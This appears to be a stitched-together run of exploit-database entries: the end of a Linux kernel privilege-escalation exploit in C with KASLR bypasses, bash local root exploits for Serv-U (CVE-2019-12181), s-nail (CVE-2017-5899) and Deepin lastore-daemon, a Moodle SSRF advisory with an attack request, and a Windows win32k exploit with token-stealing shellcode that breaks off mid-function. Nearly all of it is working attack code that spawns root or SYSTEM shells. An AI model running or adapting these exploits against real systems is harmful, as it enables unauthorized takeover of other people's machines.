
	dprintf("[.] trying %s...\n", path);
	f = fopen(path, "r");
	if (f == NULL) {
		dprintf("[-] open/read(%s)\n", path);
		return 0;
	}

	int ret = 0;
	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	dprintf("[-] kernel base not found in %s\n", path);
	return 0;
}

// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_sysmap() {
	FILE *f;
	unsigned long addr = 0;
	char path[512] = "/boot/System.map-";
	char version[32];

	struct utsname u;
	u = get_kernel_version();
	strcat(path, u.release);
	dprintf("[.] trying %s...\n", path);
	f = fopen(path, "r");
	if (f == NULL) {
		dprintf("[-] open/read(%s)\n", path);
		return 0;
	}

	char dummy;
	char sname[256];
	char* name = "startup_64";
	int ret = 0;
	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	dprintf("[-] kernel base not found in %s\n", path);
	return 0;
}

// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_mincore() {
	unsigned char buf[getpagesize()/sizeof(unsigned char)];
	unsigned long iterations = 20000000;
	unsigned long addr = 0;

	dprintf("[.] trying mincore info leak...\n");
	/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
	if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
		MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
		dprintf("[-] mmap()\n");
		return 0;
	}

	int i;
	for (i = 0; i <= iterations; i++) {
		/* Touch a mishandle with this type mapping */
		if (mincore((void*)0x86000000, 0x1000000, buf)) {
			dprintf("[-] mincore()\n");
			return 0;
		}

		int n;
		for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
			addr = *(unsigned long*)(&buf[n]);
			/* Kernel address space */
			if (addr > 0xffffffff00000000) {
				addr &= 0xffffffffff000000ul;
				if (munmap((void*)0x66000000, 0x20000000000))
					dprintf("[-] munmap()\n");
				return addr;
			}
		}
	}

	if (munmap((void*)0x66000000, 0x20000000000))
		dprintf("[-] munmap()\n");

	dprintf("[-] kernel base not found in mincore info leak\n");
	return 0;
}

// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *

unsigned long get_kernel_addr() {
	unsigned long addr = 0;

	addr = get_kernel_addr_kallsyms();
	if (addr) return addr;

	addr = get_kernel_addr_sysmap();
	if (addr) return addr;

	addr = get_kernel_addr_syslog();
	if (addr) return addr;

	addr = get_kernel_addr_mincore();
	if (addr) return addr;

	dprintf("[-] KASLR bypass failed\n");
	exit(EXIT_FAILURE);

	return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

static bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

	if (unshare(CLONE_NEWUSER) != 0) {
		dprintf("[!] unprivileged user namespaces are not available\n");
		dprintf("[-] unshare(CLONE_NEWUSER)\n");
		exit(EXIT_FAILURE);
	}
	if (unshare(CLONE_NEWNET) != 0) {
		dprintf("[-] unshare(CLONE_NEWUSER)\n");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		dprintf("[-] write_file(/proc/self/set_groups)\n");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
		dprintf("[-] write_file(/proc/self/uid_map)\n");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		dprintf("[-] write_file(/proc/self/gid_map)\n");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		dprintf("[-] sched_setaffinity()\n");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo mtu 1500") != 0) {
		dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
		exit(EXIT_FAILURE);
	}
	if (system("/sbin/ifconfig lo up") != 0) {
		dprintf("[-] system(/sbin/ifconfig lo up)\n");
		exit(EXIT_FAILURE);
	}
}

void exec_shell() {
	int fd;

	fd = open("/proc/1/ns/net", O_RDONLY);
	if (fd == -1) {
		dprintf("error opening /proc/1/ns/net\n");
		exit(EXIT_FAILURE);
	}

	if (setns(fd, CLONE_NEWNET) == -1) {
		dprintf("error calling setns\n");
		exit(EXIT_FAILURE);
	}

	system(SHELL);
}

bool is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd == -1)
		return false;
	close(fd);
	return true;
}

void check_root() {
	dprintf("[.] checking if we got root\n");
	if (!is_root()) {
		dprintf("[-] something went wrong =(\n");
		return;
	}
	dprintf("[+] got r00t ^_^\n");
	exec_shell();
}

int main(int argc, char** argv) {
	if (argc > 1) SHELL = argv[1];

	dprintf("[.] starting\n");

	dprintf("[.] checking kernel version\n");
	detect_kernel();
	dprintf("[~] done, version looks good\n");

	dprintf("[.] checking SMEP and SMAP\n");
	check_smep_smap();
	dprintf("[~] done, looks good\n");

	dprintf("[.] setting up namespace sandbox\n");
	setup_sandbox();
	dprintf("[~] done, namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
	dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
	KERNEL_BASE = get_kernel_addr();
	dprintf("[~] done, kernel addr:   %lx\n", KERNEL_BASE);
#endif

	dprintf("[.] commit_creds:        %lx\n", COMMIT_CREDS);
	dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);

	unsigned long payload = (unsigned long)&get_root;

#if ENABLE_SMEP_BYPASS
	dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
	mmap_stack();
	payload = XCHG_EAX_ESP_RET;
	dprintf("[~] done, fake stack mmapped\n");
#endif

	dprintf("[.] executing payload %lx\n", payload);
	oob_execute(payload);
	dprintf("[~] done, should be root now\n");

	check_root();

	return 0;
}
            
#!/bin/bash
# SUroot - Local root exploit for Serv-U FTP Server versions prior to 15.1.7 (CVE-2019-12181)
# Bash variant of Guy Levin's Serv-U FTP Server exploit:
# - https://github.com/guywhataguy/CVE-2019-12181
# ---
# user@debian-9-6-0-x64-xfce:~/Desktop$ ./SUroot 
# [*] Launching Serv-U ...
# sh: 1: : Permission denied
# [+] Success:
# -rwsr-xr-x 1 root root 117208 Jun 28 23:21 /tmp/sh
# [*] Launching root shell: /tmp/sh
# sh-4.4# id
# uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),117(scanner)
# ---
# <bcoles@gmail.com>
# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181

if ! test -u "/usr/local/Serv-U/Serv-U"; then
  echo '[-] /usr/local/Serv-U/Serv-U is not setuid root'
  exit 1
fi

echo "[*] Launching Serv-U ..."

/bin/bash -c 'exec -a "\";cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\"" /usr/local/Serv-U/Serv-U -prepareinstallation'

if ! test -u "/tmp/sh"; then
  echo '[-] Failed'
  /bin/rm "/tmp/sh"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la /tmp/sh

echo "[*] Launching root shell: /tmp/sh"
/tmp/sh -p
            
#!/bin/sh
# Wrapper for @wapiflapi's s-nail-privget.c local root exploit for CVE-2017-5899
# uses ld.so.preload technique
# ---
# [~] Found privsep: /usr/lib/s-nail/s-nail-privsep
# [.] Compiling /var/tmp/.snail.so.c ...
# [.] Compiling /var/tmp/.sh.c ...
# [.] Compiling /var/tmp/.privget.c ...
# [.] Adding /var/tmp/.snail.so to /etc/ld.so.preload ...
# [=] s-nail-privsep local root by @wapiflapi
# [.] Started flood in /etc/ld.so.preload
# [.] Started race with /usr/lib/s-nail/s-nail-privsep
# [.] This could take a while...
# [.] Race #1 of 1000 ...
# This is a helper program of "s-nail" (in /usr/bin).
#   It is capable of gaining more privileges than "s-nail"
#   and will be used to create lock files.
#   It's sole purpose is outsourcing of high privileges into
#   fewest lines of code in order to reduce attack surface.
#   It cannot be run by itself.
# [.] Race #2 of 1000 ...
# ...
# ...
# ...
# [.] Race #9 of 1000 ...
# [+] got root! /var/tmp/.sh (uid=0 gid=0)
# [.] Cleaning up...
# [+] Success:
# -rwsr-xr-x 1 root root 6336 Jan 13 20:42 /var/tmp/.sh
# [.] Launching root shell: /var/tmp/.sh
# # id
# uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(test)
# ---
# <bcoles@gmail.com>
# https://github.com/bcoles/local-exploits/tree/master/CVE-2017-5899

base_dir="/var/tmp"
rootshell="${base_dir}/.sh"
privget="${base_dir}/.privget"
lib="${base_dir}/.snail.so"

if test -u "${1}"; then
  privsep_path="${1}"
elif test -u /usr/lib/s-nail/s-nail-privsep; then
  privsep_path="/usr/lib/s-nail/s-nail-privsep"
elif test -u /usr/lib/mail-privsep; then
  privsep_path="/usr/lib/mail-privsep"
else
  echo "[-] Could not find privsep path"
  exit 1
fi
echo "[~] Found privsep: ${privsep_path}"

if ! test -w "${base_dir}"; then
  echo "[-] ${base_dir} is not writable"
  exit 1
fi

echo "[.] Compiling ${lib}.c ..."

cat << EOF > "${lib}.c"
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void init(void) __attribute__((constructor));                                                             

void __attribute__((constructor)) init() {
  if (setuid(0) || setgid(0))
    _exit(1);

  unlink("/etc/ld.so.preload");

  chown("${rootshell}", 0, 0);
  chmod("${rootshell}", 04755);
  _exit(0);
}
EOF

if ! gcc "${lib}.c" -fPIC -Wall -shared -s -o "${lib}"; then
  echo "[-] Compiling ${lib}.c failed"
  exit 1
fi

/bin/rm "${lib}.c"

echo "[.] Compiling ${rootshell}.c ..."

cat << EOF > "${rootshell}.c"
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0);
  setgid(0);
  execl("/bin/sh", "sh", NULL);
}
EOF

if ! gcc "${rootshell}.c" -fPIC -Wall -s -o "${rootshell}"; then
  echo "[-] Compiling ${rootshell}.c failed"
  exit 1
fi

/bin/rm "${rootshell}.c"

cat << EOF > "${privget}.c"
/*
** 26/01/2016: s-nail-privsep local root by @wapiflapi
** The setuid s-nail-privsep binary has a directory traversal bug.
** This lets us be owner of a file at any location root can give us one,
** only for a very short time though. So we have to race a bit :-)
** Here we abuse the vuln by creating a polkit policy letting us call pkexec su.
**
** gcc s-nail-privget.c -o s-nail-privget
**
** # for ubuntu:
** ./s-nail-privget /usr/lib/s-nail/s-nail-privsep
** # for archlinux:
** ./s-nail-privget /usr/lib/mail-privsep
** ---
** Original exploit: https://www.openwall.com/lists/oss-security/2017/01/27/7/1
** Updated by <bcoles@gmail.com> to use ldpreload technique
** https://github.com/bcoles/local-exploits/tree/master/CVE-2017-5899
*/

#define _GNU_SOURCE

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

#define ROOTSHELL "${rootshell}"
#define ITERATIONS 1000

/*
** Attempts to copy data to target quickly...
*/
static pid_t flood(char const *target, char const *data, size_t len) {
  pid_t child;

  if ((child = fork()) != 0)
    return child;

  if (nice(-20) < 0) {
    dprintf("[!] Failed to set niceness");
  }

  while (1) {
    int fd;

    if ((fd = open(target, O_WRONLY)) < 0) {
      continue;
    }

    write(fd, data, len);
    close(fd);

    usleep(10);
  }

  return child;
}

/*
** This triggers the vulnerability. (a lot.)
*/
static pid_t race(char const *path, char const *target) {
  pid_t child;

  if ((child = fork()) != 0)
    return child;

  char *argv[] = {
    NULL, "rdotlock",
    "mailbox",	NULL, // \$TMPDIR/foo
    "name",	NULL, // \$TMPDIR/foo.lock
    "hostname",	"spam",
    "randstr",	NULL, // eggs/../../../../../../..\$TARGET
    "pollmsecs","0",
    NULL
  };

  char tmpdir[] = "/tmp/tmpdir.XXXXXX";
  char *loldir;

  int fd, pid, inpipe[2], outpipe[2];

  if (!mkdtemp(tmpdir)) {
    dprintf("[-] mkdtemp(%s)", tmpdir);
    exit(EXIT_FAILURE);
  }

  if (!(argv[0] = strrchr(path, '/'))) {
    dprintf("[-] %s is not full path to privsep.", path);
    exit(EXIT_FAILURE);
  }
  argv[0] += 1; // skip '/'.

  // (nope I'm not going to free those later.)
  if (asprintf(&loldir, "%s/foo.lock.spam.eggs", tmpdir) < 0 ||
      asprintf(&argv[3], "%s/foo", tmpdir) < 0 ||
      asprintf(&argv[5], "%s/foo.lock", tmpdir) < 0 ||
      asprintf(&argv[9], "eggs/../../../../../../..%s", target) < 0) {
    dprintf("[-] asprintf() failed\n");
    exit(EXIT_FAILURE);
  }

  // touch \$tmpdir/foo
  if ((fd = open(argv[3], O_WRONLY | O_CREAT, 0640)) < 0) {
    dprintf("[-] open(%s) failed\n", argv[3]);
    exit(EXIT_FAILURE);
  }
  close(fd);

  // mkdir \$tmpdir/foo.lock.spam.eggs
  if (mkdir(loldir, 0755) < 0) {
    dprintf("[-] mkdir(%s) failed\n", loldir);
    exit(EXIT_FAILURE);
  }

  // OK, done setting up the environment & args.
  // Setup some pipes and let's get going.
  if (pipe(inpipe) < 0 || pipe(outpipe) < 0) {
    dprintf("[-] pipe() failed\n");
    exit(EXIT_FAILURE);
  }

  close(inpipe[1]);
  close(outpipe[0]);

  while (1) {
    if ((pid = fork()) < 0) {
      dprintf("[!] fork failed\n");
      continue;
    } else if (pid) {
      waitpid(pid, NULL, 0);
      continue;
    }

    // This is the child, give it the pipes it wants. (-_-')
    if (dup2(inpipe[0], 0) < 0 || dup2(outpipe[1], 1) < 0) {
      dprintf("[-] dup2() failed\n");
      exit(EXIT_FAILURE);
    }

    if (nice(20) < 0) {
      dprintf("[!] Failed to set niceness");
    }

    execv(path, argv);
    dprintf("[-] execve(%s) failed\n", path);
    exit(EXIT_FAILURE);
  }

  return child;
}

int main(int argc, char **argv, char **envv) {
  char payload[] = "${lib}";
  char const *target = "/etc/ld.so.preload";
  char const *privsep_path = argv[1];
  pid_t flood_pid, race_pid;
  struct stat st;

  if (argc != 2) {
    dprintf("usage: %s /full/path/to/privsep\n", argv[0]);
    exit(EXIT_FAILURE);
  }

  lstat(privsep_path, &st);

  if ((long)st.st_uid != 0) {
    dprintf("[-] privsep path is not valid: %s\n", privsep_path);
    exit(EXIT_FAILURE);
  }

  dprintf("[=] s-nail-privsep local root by @wapiflapi\n");

  if ((flood_pid = flood(target, payload, sizeof payload)) == -1) {
    dprintf("[-] flood() failed\n");
    exit(EXIT_FAILURE);
  }

  dprintf("[.] Started flood in %s\n", target);

  if ((race_pid = race(privsep_path, target)) == -1) {
    dprintf("[-] race() failed\n");
    exit(EXIT_FAILURE);
  }

  dprintf("[.] Started race with %s\n", privsep_path);
  dprintf("[.] This could take a while...\n");

  for (int i = 1; i <= ITERATIONS; i++) {
    dprintf("[.] Race #%d of %d ...\n", i, ITERATIONS);
    system(privsep_path);
    lstat(ROOTSHELL, &st);
    if ((long)st.st_uid == 0)
      break;
  }

  kill(race_pid, SIGKILL);
  kill(flood_pid, SIGKILL);

  if ((long)st.st_uid != 0) {
    dprintf("[-] Failed. Not vulnerable?\n");
    exit(EXIT_FAILURE);
  }
  dprintf("[+] got root! %s (uid=%ld gid=%ld)\n", ROOTSHELL, (long)st.st_uid, (long)st.st_gid);

  return system(ROOTSHELL);
}
EOF

echo "[.] Compiling ${privget}.c ..."

if ! gcc "${privget}.c" -fPIC -Wall -s -o "${privget}"; then
  echo "[-] Compiling ${privget}.c failed"
  exit 1
fi

/bin/rm "${privget}.c"

echo "[.] Adding ${lib} to /etc/ld.so.preload ..."

echo | $privget "${privsep_path}"

echo '[.] Cleaning up...'

/bin/rm "${privget}"
/bin/rm "${lib}"

if ! test -u "${rootshell}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la "${rootshell}"

echo "[.] Launching root shell: ${rootshell}"
$rootshell
            
#!/bin/bash
# Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
#
# The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any user
# in the sudo group to install arbitrary packages without providing a password,
# resulting in code execution as root. By default, the first user created on
# the system is a member of the sudo group.
# ~ bcoles
#
# Based on exploit by King's Way: https://www.exploit-db.com/exploits/39433/
#
echo Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
echo Building package...
BASE="/tmp/"
UUID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 32 | head -n 1)
mkdir "${BASE}${UUID}" && mkdir "${BASE}${UUID}/DEBIAN"
echo -e "Package: ${UUID}\nVersion: 0.1\nMaintainer: ${UUID}\nArchitecture: all\nDescription: ${UUID}" > ${BASE}${UUID}/DEBIAN/control
echo -e "#!/bin/sh\ncp /bin/sh ${BASE}/rootsh\nchmod 04755 ${BASE}/rootsh\n" > ${BASE}${UUID}/DEBIAN/postinst
chmod +x ${BASE}${UUID}/DEBIAN/postinst
dpkg-deb --build "${BASE}${UUID}"
echo Installing package...
dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.InstallPackage string:"${UUID}" string:"${BASE}${UUID}.deb"
sleep 10
echo Removing package...
dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.RemovePackage string:" " string:"${UUID}"
rm -rf "${BASE}${UUID}" "${BASE}${UUID}.deb"
if [ -f /tmp/rootsh ]
then
  echo "Success! Found root shell: /tmp/rootsh"
  /tmp/rootsh
else
  echo "Exploit failed! Check /var/log/lastore/daemon.log"
fi
            
# Exploit Title: Server Side Request Forgery in Moodle Filepicker
# Google Dork: /
# Date: 2019-07-25
# Exploit Author: Fabian Mosch & Nick Theisinger (r-tec IT Security GmbH)
# Vendor Homepage: https://moodle.org/
# Software Link: https://github.com/moodle/moodle
# Version: Moodle Versions 3.4, 3.3, 3.3.3, 3.2 to 3.2.6, 3.1 to 3.1.9 and 3.5.2
# Tested on: Moodle Version 3.5.2
# CVE : CVE-2018-1042

We found a SSRF vulnerability for Moodle version 3.5.2. An authenticated attacker can scan the internal network and exploit internal web services with blind injections. Probably we are dealing with CVE-2018-1042 mentioned here:
https://moodle.org/mod/forum/discuss.php?d=364381

In version 3.5.2 we were not able to view all internal web server content, only pictures (PNG, GIF, SVN and so on) were displayed as a JSON-list. But it is possible to do internal port scans via http:// and https:// protocols. Open ports with no response for HTTP requests resulted in a timeout, SSL services like OpenSSH gave an SSL Error. For web applications the HTTP headers can be found in the response (403 forbidden, 404 not Found and so on). Found web applications can be attacked via HTTP GET requests. The vulnerable script is "repository_ajax.php" and the parameter is "file".

Example exploitation request:

POST /repository/repository_ajax.php?action=signin HTTP/1.1
Host: VulnerableMoodleHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://VulnerableMoodleHost/user/files.php
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 165
Connection: close
Cookie: MoodleSession=xxxxx;

file=InternalURL?parameter=XXEInjection&repo_id=5&p=&page=&env=filemanager&sesskey=xxxxxxxxxx
            
#include <Windows.h>
#include <iostream>

/*
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47176.zip
*/

/* PREPROCESSOR DEFINITIONS */
#define MN_SELECTITEM 0x1E5
#define MN_SELECTFIRSTVALIDITEM 0x1E7
#define MN_OPENHIERARCHY 0x01E3
#define MN_CANCELMENUS 0x1E6
#define MN_BUTTONDOWN 0x1ed
#define WM_EX_TRIGGER 0x6789
#define NtCurrentProcess() (HANDLE)-1
#define NtCurrentThread()  (HANDLE)-1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define TYPE_WINDOW 1

/* GLOBAL VARIABLES */
static BOOL		hWindowHuntDestroy = FALSE;
static BOOL		bEnterEvent = FALSE;
static BOOL		success = FALSE;
static HMENU	hMenuList[3] = { 0 };
static HWND		hWindowMain = NULL;
static HWND		hWindowHunt = NULL;
static HWND		hwndMenuList[3] = { 0 };
static PVOID	MemAddr = (PVOID)1;
static SIZE_T	MemSize = 0x1000;
static DWORD	iCount = 0;
static DWORD	release = 0;


/* Structure definition of win32k!tagWND returned by xxHMValidateHandle */
typedef struct _HEAD {
	HANDLE  h;
	DWORD   cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD {
	HEAD    head;
	PVOID   pti;
} THROBJHEAD, *PTHROBJHEAD;

typedef struct _DESKHEAD {
	PVOID   rpdesk;
	PBYTE   pSelf;
} DESKHEAD, *PDESKHEAD;

typedef struct _THRDESKHEAD {
	THROBJHEAD  thread;
	DESKHEAD    deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;

/* Definition of xxHMValidateHandle */
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;

/* Defintion of NtallocateVirtualMemory */
typedef
NTSTATUS
(WINAPI *pfNtAllocateVirtualMemory) (
	HANDLE       ProcessHandle,
	PVOID       *BaseAddress,
	ULONG_PTR    ZeroBits,
	PSIZE_T      RegionSize,
	ULONG        AllocationType,
	ULONG        Protect
	);
pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;


static
VOID
xxGetHMValidateHandle(VOID)
{
	HMODULE hModule = LoadLibraryA("USER32.DLL");
	PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
	PBYTE Address = NULL;
	for (INT i = 0; i < 0x30; i++)
	{
		if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
		{
			continue;
		}
		i += 2;
		if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
		{
			continue;
		}
		Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
		Address = Address + i + 5;
		pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
		break;
	}
}

static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
	return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}

static
PVOID
xxHMValidateHandle(HWND hwnd)
{
	PVOID RetAddr = NULL;
	if (!pfnHMValidateHandle)
	{
		xxGetHMValidateHandle();
	}
	if (pfnHMValidateHandle)
	{
		RetAddr = xxHMValidateHandleEx(hwnd);
	}
	return RetAddr;
}

static
BOOL
xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW)
{
	WNDCLASSEXW wc = { 0 };
	wc.cbSize = sizeof(WNDCLASSEXW);
	wc.lpfnWndProc = pfnProc;
	wc.cbWndExtra = cbWndExtra;
	wc.hInstance = GetModuleHandleA(NULL);
	wc.lpszMenuName = NULL;
	wc.lpszClassName = lpszClassName;
	return RegisterClassExW(&wc);
}

static
HWND
xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL)
{
	return CreateWindowExW(dwExStyle,
		lpszClassName,
		NULL,
		dwStyle,
		0,
		0,
		1,
		1,
		hwndParent,
		NULL,
		hInstance,
		NULL);
}

static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
	tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;

	if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
	{
		printf("Sending the MN_CANCELMENUS message\n");
		SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
		bEnterEvent = FALSE;
	}
	return CallNextHookEx(0, code, wParam, lParam);
}


static
VOID
CALLBACK
xxWindowEventProc(
	HWINEVENTHOOK hWinEventHook,
	DWORD         event,
	HWND          hwnd,
	LONG          idObject,
	LONG          idChild,
	DWORD         idEventThread,
	DWORD         dwmsEventTime
)
{
	UNREFERENCED_PARAMETER(hWinEventHook);
	UNREFERENCED_PARAMETER(event);
	UNREFERENCED_PARAMETER(idObject);
	UNREFERENCED_PARAMETER(idChild);
	UNREFERENCED_PARAMETER(idEventThread);
	UNREFERENCED_PARAMETER(dwmsEventTime);

	bEnterEvent = TRUE;
	if (iCount < ARRAYSIZE(hwndMenuList))
	{
		hwndMenuList[iCount] = hwnd;
		iCount++;
	}
	SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
	SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
	PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}

__declspec(noinline) int Shellcode()
{
	__asm {
		xor eax, eax // Set EAX to 0.
		mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
											 // _KTHREAD is located at FS:[0x124]
		mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
		mov ecx, eax // Copy current process _EPROCESS structure
		mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
		SearchSystemPID:
			mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, 0B8h
			cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID
			mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + 0xF8], edx // Assign SYSTEM process token.
	}
}

static
LRESULT
WINAPI
xxMainWindowProc(
	_In_ HWND   hwnd,
	_In_ UINT   msg,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
)
{
	if (msg == 0x1234)
	{
		WORD um = 0;
		__asm
		{
			// Grab the value of the CS register and
			// save it into the variable UM.
			//int 3
			mov ax, cs
			mov um, ax
		}
		// If UM is 0x1B, this function is executing in usermode
		// code and something went wrong. Therefore output a message that
		// the exploit didn't succeed and bail.
		if (um == 0x1b)
		{
			// USER MODE
			printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
			ExitProcess(-1); // Bail as if this code is hit either the target isn't 
							 // vulnerable or something is wrong with the exploit.
		}
		else
		{
			success = TRUE; // Set the success flag to indicate the sprayCallback()
							// window procedure is running as SYSTEM.
			Shellcode(); // Call the Shellcode() function to perform the token stealing and
						 // to remove the Job object on the Chrome renderer process.
		}
	}
	return DefWindowProcW(hwnd, msg, wParam, lParam);
}

int main()
{
	/* Creating the menu */
	for (int i = 0; i < 3; i++)
		hMenuList[i] = CreateMenu();

	/* Appending the menus along with the item */
	for (int i = 0; i < 3; i++)
	{
		AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
	}
	AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");

	/* Creating a main window class */
	xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
	hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
		WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
		WS_VISIBLE,
		GetModuleHandleA(NULL));
	printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain);
	ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);

	/* Creating the hunt window class */
	xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);
	hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
		WS_EX_LEFT,
		WS_OVERLAPPEDWINDOW,
		GetModuleHandleA(NULL));
	printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt);
	
	/* Hooking the WH_CALLWNDPROC function */
	SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());

	/* Hooking the trackpopupmenuEx WINAPI call */
	HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
		GetCurrentProcessId(), GetCurrentThreadId(), 0);

	/* Setting the root popup menu to null */
	printf("Setting the root popup menu to null\n");
	release = 0;
	TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

	/* Allocating the memory at NULL page */
	*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
	if (NtAllocateVirtualMemory == NULL)
		return 1;

